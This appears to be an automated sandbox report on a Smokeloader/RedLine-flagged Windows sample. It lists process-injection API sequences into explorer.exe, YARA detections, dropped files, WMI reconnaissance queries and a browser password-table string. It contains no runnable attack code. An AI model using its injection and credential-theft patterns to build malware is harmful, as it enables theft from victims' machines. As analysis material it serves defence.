Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02EF18BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	19_2_02EF18BF
Source: C:\Windows\explorer.exe	Code function: 21_2_004D370C NtUnmapViewOfSection,	21_2_004D370C

Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403433	6_2_00403433
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D69AC8	9_2_00007FF6F2D69AC8
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D63220	9_2_00007FF6F2D63220
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6B428	9_2_00007FF6F2D6B428
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6DC0C	9_2_00007FF6F2D6DC0C
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6A778	9_2_00007FF6F2D6A778
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6213C	9_2_00007FF6F2D6213C
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6A520	9_2_00007FF6F2D6A520
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02752198	13_2_02752198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0275C2F9	13_2_0275C2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0276B35C	13_2_0276B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_027A4438	13_2_027A4438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0276B97E	13_2_0276B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02756E6A	13_2_02756E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02775F08	13_2_02775F08
Source: C:\Windows\explorer.exe	Code function: 15_2_00CD1E20	15_2_00CD1E20
Source: C:\Windows\explorer.exe	Code function: 18_2_00772860	18_2_00772860
Source: C:\Windows\explorer.exe	Code function: 18_2_00772054	18_2_00772054
Source: C:\Windows\explorer.exe	Code function: 21_2_004D20F4	21_2_004D20F4
Source: C:\Windows\explorer.exe	Code function: 21_2_004D2A04	21_2_004D2A04

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\B972.exe B139090C797214F88A2EA451289AB670000936C413CD2CD45AAA9895C78C63B5

Source: C:\Windows\SysWOW64\explorer.exe

Code function: String function: 02758801 appears 38 times

Source: ctMI3TYXpX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@79/14@8/4

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

Code function: 0_2_00503919 CreateToolhelp32Snapshot,Module32First,

0_2_00503919

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Code function: 9_2_00007FF6F2D67138 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,

9_2_00007FF6F2D67138

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jghruer

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\35DB.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: ctMI3TYXpX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\B972.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, CommandLine, ExecutablePath, ProcessId FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="92"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="324"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="408"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="484"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="492"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="620"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="628"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="752"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="776"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="784"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="872"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="920"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="988"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="364"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="696"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="592"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1044"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1084"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1176"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1200"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1252"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1296"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1316"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1408"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1476"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1488"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1572"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1652"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1724"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1824"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1840"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1940"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1948"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1956"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2036"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1932"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2064"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2152"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2216"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2268"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2388"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2396"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2508"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2528"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2608"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2616"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2624"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2632"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2748"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2900"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2012"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3304"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3536"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3768"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3816"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4032"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2544"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3404"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5108"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5484"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5704"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5860"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4920"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1328"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1668"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3980"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5428"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6040"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4868"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3428"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="8064"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5436"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3612"::GetOwner

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: B724.tmp.13.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ctMI3TYXpX.exe	ReversingLabs: Detection: 28%
Source: ctMI3TYXpX.exe	Virustotal: Detection: 38%

Source: unknown	Process created: C:\Users\user\Desktop\ctMI3TYXpX.exe "C:\Users\user\Desktop\ctMI3TYXpX.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jghruer C:\Users\user\AppData\Roaming\jghruer
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\35DB.exe C:\Users\user\AppData\Local\Temp\35DB.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hdhruer C:\Users\user\AppData\Roaming\hdhruer
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B972.exe C:\Users\user\AppData\Local\Temp\B972.exe
